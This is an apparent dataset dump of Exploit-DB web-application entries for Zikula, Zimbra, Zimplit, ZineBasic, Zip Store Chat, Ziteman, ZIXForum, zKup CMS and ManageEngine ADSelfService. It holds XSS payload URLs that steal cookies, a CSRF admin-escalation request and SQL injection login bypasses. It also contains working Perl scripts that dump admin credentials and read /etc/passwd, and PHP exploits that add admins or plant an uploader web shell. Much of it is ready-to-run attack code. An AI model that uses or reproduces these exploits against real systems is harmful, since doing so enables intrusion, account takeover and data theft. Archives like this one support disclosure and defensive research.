deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33885
Description: Zikula Application Framework 1.2.2 - 'index.php?func' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/39717/info
 
Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Zikula Application Framework 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=adminpanel&type=admin&func=adminpanel&lang=en%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29%3E
Exploit-DB #33884
Description: Zikula Application Framework 1.2.2 - 'ZLanguage.php?lang' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/39717/info

Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Zikula Application Framework 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/?lang=en%27%22%3E%3Cimg%20src=0%20onerror=alert%28document.cookie%29%3E
Exploit-DB #36121
Description: Zikula Application Framework 1.2.7/1.3 - 'themename' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-09-05
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49491/info

Zikula Application Framework is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Zikula Application Framework 1.3.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=theme&type=admin&func=setasdefault&themename=%3Cscript%3Ealert%28docu ment.cookie%29%3C/script%3E
Exploit-DB #16097
Description: Zikula CMS 1.2.4 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2011-02-02
Author: Aung Khant

Exploit:
Source: http://packetstormsecurity.org/files/view/98060/zikulacms-xsrf.txt

====================================================
Zikula CMS 1.2.4 <= Cross Site Request Forgery (CSRF) Vulnerability
====================================================


1. OVERVIEW

The Zikula 1.2.4 and lower versions were vulnerable to Cross Site
Request Forgery (CSRF).


2. BACKGROUND

Zikula is a Web Application Toolkit, which allows you to run
impressive websites and build powerful online applications. Zikula has
received praise for many things, but we belive the highlights are ease
of use, quick and easy development, security and performance and
lastly flexibility.


3. VULNERABILITY DESCRIPTION

Zikula CMS 1.2.4 and lower versions contain a flaw that allows a
remote Cross-site Request Forgery (CSRF / XSRF) attack. The flaw
exists because the application does not require multiple steps or
explicit confirmation for sensitive transactions for majority of
administrator functions such as adding new user, assigning user to
administrative privilege. By using a crafted URL, an attacker may
trick the victim into visiting to his web page to take advantage of
the trust relationship between the authenticated victim and the
application. Such an attack could trick the victim into executing
arbitrary commands in the context of their session with the
application, without further prompting or verification.


4. VERSIONS AFFECTED

1.2.4 <=


5. PROOF-OF-CONCEPT/EXPLOIT

The following request escalates a normal user to an administrator.

[REQUEST]
POST /zikula/index.php?module=users&type=admin&func=processusers&op=edit
HTTP/1.1

authid=&userid=3&do=yes&access_permissions%5B%5D=2&access_permissions%5B%5D=1&uname=tester&email=tester%40yehg.net&pass=&vpass=&activated=1&theme=&submit=
[/REQUEST]


6. SOLUTION

Upgrade to Zikula 1.2.5 or higher


7. VENDOR

Zikula Foundation
http://zikula.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-24: notified vendor
2011-01-25: vendor released fix
2011-02-01: vulnerability disclosed


10. REFERENCES

Original Advisory URL: http://yehg.net/lab/pr0js/advisories/
Vendor Released Info:
http://community.zikula.org/index.php?module=News&func=display&sid=3041&title=zikula-1.2.5-released
Zikula 1.2.5 Changlog:
http://code.zikula.org/core12/browser/tags/Zikula-1.2.5/src/docs/CHANGELOG
CSRF Wiki: https://secure.wikimedia.org/wikipedia/en/wiki/Cross-site_request_forgery


#yehg [2011-02-01]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd
Exploit-DB #38436
Description: Zimbra - 'aspell.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-04-05
Author: Michael Scherer

Exploit:
source: https://www.securityfocus.com/bid/58913/info

Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/aspell.php?disctionnary=&gt;<script>alert('foo');</script>
Exploit-DB #36695
Description: Zimbra - 'view' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-02-13
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/51974/info

Zimbra is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/zimbra/h/calendar?view=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
Exploit-DB #45177
Description: Zimbra 8.6.0_GA_1153 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-08-10
Author: Dino Barlattani

Exploit:
# Exploit Title: Xss Zimbra Mail server
# Google Dork:
# Date: 2018/08/10
# Exploit Author: Dinbar78
# Vendor Homepage: https://www.zimbra.com/

# Version: 8.6.0_GA_1153 (build[PII_REDACTED]1110)
# bug 103609 or CVE-2016-3411


Payload: es.
https:// (zimbrasite)/h/changepass?skin="><script>alert('hacked');</script>
Exploit-DB #35064
Description: Zimplit CMS - 'English_manual_version_2.php?client' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-07
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45252/info
 
Zimplit CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/path/English_manual_version_2.php?client=c%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #35063
Description: Zimplit CMS - 'zimplit.php?File' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-07
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/45252/info

Zimplit CMS is prone to multiple cross-site-scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/zimplit.php?action=load&file=%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #40401
Description: ZineBasic 1.1 - Arbitrary File Disclosure
Type: webapps
Platform: php
Date: 2016-09-19
Author: bd0rk

Exploit:
# Title: ZineBasic 1.1 Remote File Disclosure Exploit
# Author: bd0rk || East Germany former GDR
# Tested on: Ubuntu-Linux
# Vendor: http://w2scripts.com/news-publishing/
# Download: http://downloads.sourceforge.net/project/zinebasic/zinebasic/v1.1/zinebasic_v1.1_00182.zip?r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Fzinebasic%2F&ts=[PII_REDACTED]&use_mirror=master
# Twitter: twitter.com/bd0rk

#Greetings: zone-h.org, Curesec GmbH, SiteL GmbH, i:TECS GmbH, rgod, GoLd_M
----------------------------------------------------------------------------------
=> Vulnerable sourcecode in /zinebasic_v1.1_00182/articleImg/delImage.php line 12

=> Vulnerable snippet: $id = $_GET['id'];

----------------------------------------------------------------------------------

Exploitcode with little error inline 25-->'Gainst script-kiddies! || Copy&Paste:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
sub ex()
{
print "Usage: perl $0 someone.com /ZineBasic_Dir/\n";
print "\nZineBasic 1.1 Remote File Disclosure Exploit\n";
print "\ Contact: twitter.com/bd0rk\n";
($host, $path, $under, $file,) = @ARGV;
$under="/articleImg/";
$file="delImage.php?id=[REMOTE_FILE]";
my $target = "http://".$host.$path.$under.$file;
my $usrAgent = LWP::UserAgent->new();
my $request = $usrAgent->get($target,":content_file"=>"[REMOTE_FILE]");
if ($request->is_success)
{
print "$target <= JACKPOT!\n\n";
print "etc/passwd\n";
exit();
}
else
{
print "Exploit $target FAILED!\n[!].$request->status_line.\n";
exit();
}
Exploit-DB #8935
Description: Zip Store Chat 4.0/5.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-06-12
Author: ByALBAYX

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------
@~~=Author   : ByALBAYX

@~~=Website  : WWW.C4TEAM.ORG
---------------Ooooo-------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)
@~~=======================================~~@
@~~=Script   : Zip Store Chat 4.0 + 5.0

@~~=S.Site   : http://zipstore.com.br
@~~=======================================~~@

@~~=Vul

@~~=http://c4team.org/ [Yol] /admin/index.asp

Login: ' or '

Senha: ' or '

@~~=Demo    : 

@~~=http://zipstore.com.br/chat/4.0/admin/index.asp

@~~=http://zipstore.com.br/chat/5.0/admin/index.asp
@~~=======================================~~@

@~~=:/

# milw0rm.com [2009-06-12]
Exploit-DB #38786
Description: Ziteman CMS - Login Page SQL Injection
Type: webapps
Platform: php
Date: 2013-10-10
Author: Ashiyane Digital Security Team

Exploit:
source: https://www.securityfocus.com/bid/62949/info

Ziteman CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/admincss/default.asp
Exploit-DB #2382
Description: Zix Forum 1.12 - 'RepId' SQL Injection (2)
Type: webapps
Platform: php
Date: 2006-09-17
Author: SlimTim10

Exploit:
#!/usr/bin/perl
###########################################
# ZIXForum <= v1.12 Exploit
# Vulnerability found by Chironex Fleckeri
# Created By: SlimTim10
# <slimtim10@gmail.com>
###########################################
# Google dork:
# intext:"ZIXForum 1.12 by: ZixCom 2002"
###########################################


use IO::Socket::INET;

usage() unless (@ARGV == 2);

$host = shift(@ARGV);
$dir = shift(@ARGV);

$dir = "\/$dir" if ($dir !~ /^\//);
$dir = "$dir\/" if ($dir !~ /\/$/);
$host =~ s/http:\/\///g;

$path = $dir.'ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_user,null,null,null,null,null,null,null,null%20FROM%20adminlogins';
$path2 = $dir.'ReplyNew.asp?RepId=-1%20UNION%20SELECT%20null,null,null,J_pass,null,null,null,null,null,null,null,null%20FROM%20adminlogins';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-]Connect Failed: could not connect to $host\r\n"; # show an error!

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User: ";

while ($answer = <$socket>) {
    $answer =~ m/name="R_Headline" size="30" class="normal" value="Re: (.*?)"/ && print "$1\n";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-]Connect Failed: could not connect to $host\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $host\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Pass: ";

while ($answer = <$socket>) {
    $answer =~ m/name="R_Headline" size="30" class="normal" value="Re: (.*?)"/ && print "$1\n";
}

sub usage {
    print "\n" . "=|=-" x 14 . "=|=";
    print q(
]                                                         [
[  ZIXForum <= 1.12 "RepId" Remote SQL Injection Exploit  ]
]               Tested on ZIXForum <= v1.12               [
[       Created By: SlimTim10 <slimtim10@gmail.com>       ]
]                                                         [);
    print "\n" . "=|=-" x 14 . "=|=\n\n";
    print " Usage: $0";
    print q( [HOST] [PATH] E.g. );
    print "$0";
    print q(  www.host.com /forum/);
    print "\n\n" . "`^" x 29 . "`\n";
    exit;
}

# milw0rm.com [2006-09-17]
Exploit-DB #5220
Description: zKup CMS 2.0 < 2.3 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-03-07
Author: Charles Fol

Exploit:
#!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (upload)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: PHP Version, magic_quotes_gpc=Off
 *
 * This exploit spawn a php uploader in your victim's
 * server.
 *
 * Okay, you may need explanations:
 *
 * First, we can use administration without being admin
 * (see ./admin/configuration/modifier.php)
 *
 * Then, when we add an admin, it is saved in a php file,
 * named "./fichiers/config.php".
 * A vuln is present when the script controls $login value,
 * because it use this regex: #^[a-zA-Z0-9]+$#
 * in order to see if it's alphanumerical.
 * I bypassed this regex using a NULL POISON BYTE (%00),
 * and writing my upload script just after.
 * I finally put some lines in order not to
 * corrupt config.php.
 *
 */

print "\n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (upload)\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<2) { print "usage: php zkup2_upload_exploit.php <url>\n   eg: php zkup2_upload_exploit.php http://127.0.0.1/votresite/";exit(-1); }
$url = $argv[1];

$code = '
if(isset($_POST[\'upload\']))
{
    if( !move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], "./".$_FILES[\'file\'][\'name\'])) exit("<center>Error (move_uploaded_file)</center>");
    else echo "<center>File uploaded</center>";
}
if($_GET[\'up\']==1)
{
?>
<form method="post" enctype="multipart/form-data">
<center>
<input type="file" name="file">
<input type="submit" name="upload" value="Upload">
</center>
</form>
<?php
}
';
$code = urlencode($code);

/* Not to compromise config.php work */
$restore = array();
$restore[0] = 'admin'.rand(100,200).'%00","mdp"=>"436ae61e82a236bd4771e184a556bf65","lvl"=>9);';
$restore[1] = '$tAdmin[] = array("login"=> "admin'.rand(200,300);

$postit = "action=ajout&login=$restore[0]$code$restore[1]&mdp=real&mdp2=real&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n[*] upload script: ".$url."fichiers/config.php?up=1\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = "POST $page HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla Firefox\r\n";
	$req .= "Connection: close\r\n";
	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
	$req .= "Content-length: ".strlen( $data )."\r\n";
	$req .= "\r\n";
	$req .= $data."\r\n";

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?>

# milw0rm.com [2008-03-07]
Exploit-DB #5219
Description: zKup CMS 2.0 < 2.3 - Remote Add Admin
Type: webapps
Platform: php
Date: 2008-03-07
Author: Charles Fol

Exploit:
#!/usr/bin/php
<?php
/*
 * Name:    zKup CMS v2.0 <= v2.3 0-day exploit (add admin)
 * Credits: Charles "real" F. <charlesfol[at]hotmail.fr>
 * Date:    03-08-2008
 * Conditions: None.
 *
 * This exploit add a new zKup admin.
 *
 */

print "\n";
print "   zKup CMS v2.0 <= v2.3 0-day exploit (add admin)\n";
print "       by Charles \"real\" F. <charlesfol[at]hotmail.fr>\n\n";

if($argc<4) { print "usage: php zkup2_admin_exploit.php <url> <login> <passwd>\n   eg: php zkup2_admin_exploit.php http://127.0.0.1/votresite/ real p4ssw0rd";exit(-1); }
$url = $argv[1];
$log = $argv[2];
$pas = $argv[3];

$postit = "action=ajout&login=$log&mdp=$pas&mdp2=$pas&lvl=9";

print "[*] sending evil c0de ... ";
if(preg_match("#alert#i",post($url."admin/configuration/modifier.php","$postit"))) print "done.\n";
else print "failed.\n";

function post($url,$data,$get=1)
{
	$result = '';
	preg_match("#^http://([^/]+)(/.*)$#i",$url,$info);
	$host = $info[1];
	$page = $info[2];
	$fp = fsockopen($host, 80, &$errno, &$errstr, 30);
	
	$req  = "POST $page HTTP/1.1\r\n";
	$req .= "Host: $host\r\n";
	$req .= "User-Agent: Mozilla Firefox\r\n";
	$req .= "Connection: close\r\n";
	$req .= "Content-type: application/x-www-form-urlencoded\r\n";
	$req .= "Content-length: ".strlen( $data )."\r\n";
	$req .= "\r\n";
	$req .= $data."\r\n";

	fputs($fp,$req);
	
	if($get) while(!feof($fp)) $result .= fgets($fp,128);
	
	fclose($fp);
	return $result;
}

?>

# milw0rm.com [2008-03-07]
Exploit-DB #36316
Description: ZOHO ManageEngine ADSelfService Plus 4.5 Build 4521 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-11-17
Author: James webb

Exploit:
source: https://www.securityfocus.com/bid/50717/info

ZOHO ManageEngine ADSelfService Plus is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADSelfService Plus 4.5 Build 4521 is vulnerable; other versions may also be affected. 

Proof of Concept
===================
Double-Quote String Termination
HTTP Request =
https://serverip:port/EmployeeSearch.cc?searchType=contains&searchBy=ALL_FIELDS&searchString=";alert("XSS");//\"

Response Source View
<script language="javascript">
var searchValue = "';alert(XSS)//\"";


Single-Quote String Termination
Similarly...
HTTP Request
https://serverip:port/EmployeeSearch.cc?searchType=';document.location="http://www.cnn.com";//\"&searchBy=ALL_FIELDS&searchString=BoB
Exploit-DB #46815
Description: Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-05-09
Author: Ibrahim Raafat

Exploit:
[+] Zoho ManageEngine ADSelfService Plus 5.7 < 5702 build - Multiple Cross-Site Scripting
[+] Author: Ibrahim Raafat
[+] Twitter: https://twitter.com/RaafatSEC
[+] Download: https://www.manageengine.com/products/self-service-password/download-free.html?


[+] TimeLine
	[-] Nov 23, 2018	Reported
	[-] Nov 26, 2018	Triaged
	[-] Dec 27, 2018 	Fixed
	[-] May 08, 2019	Public Disclosure

[+] Description:
	Zoho ManageEngine ADSelfService Plus 5.7 before build 5702 has Multiple XSS vulnerabilites

[+] POC

[-] Employee search form

POST /EmployeeSearch.cc?actionId=Search HTTP/1.1

searchString=dddddffff");a=alert,a(31337)//&&searchType=contains&searchBy=ALL_FIELDS333');a=alert,a(31337)//&adscsrf=
searchType parameter:
searchString=a&searchType=containss9ek";a=alert,a(31337)//&searchBy=ALL_FIELDS&adscsrf=


2- Employee Search – ascending parameter

/EmployeeSearch.cc?actionId=showList&searchBy=ALL_FIELDS&searchType=contains&PAGE_NUMBER=37&FROM_INDEX=22&TO_INDEX=22&RANGE=100&navigate=true&navigationType=&START_INDEX=22 HTTP/1.1

selOUs=&genID=12191&ACTIVE_TAB=user&sortIndex=0&ascending=true’;a=alert,a(31337)//&&searchString=a&TOTAL_RECORDS=22&adscsrf=


3- EmpSearch.cc - searchString parameter

POST /EmpSearch.cc?operation=getSearchResult&REQUEST_TYPE=JSON&searchString=RR<svg%2fonload%3dprompt(8)>&searchType=contains&searchBy=ALL_FIELDS&actionId=Search HTTP/1.1

&adscsrf=

4- Stored XSS in self-update layout implementation.

/SelfService.do?methodToCall=selfService&selectedTab=UpdateFields
Insert the following payload into Mobile Number field, and save
Payload: 11111111]";a=alert,a(31337)//
Code execute here:
/Enrollment.do?selectedTab=Enrollment


[+] Assigned CVE:  CVE-2018-20484,CVE-2018-20485
[+] Release Notes: https://www.manageengine.com/products/self-service-password/release-notes.html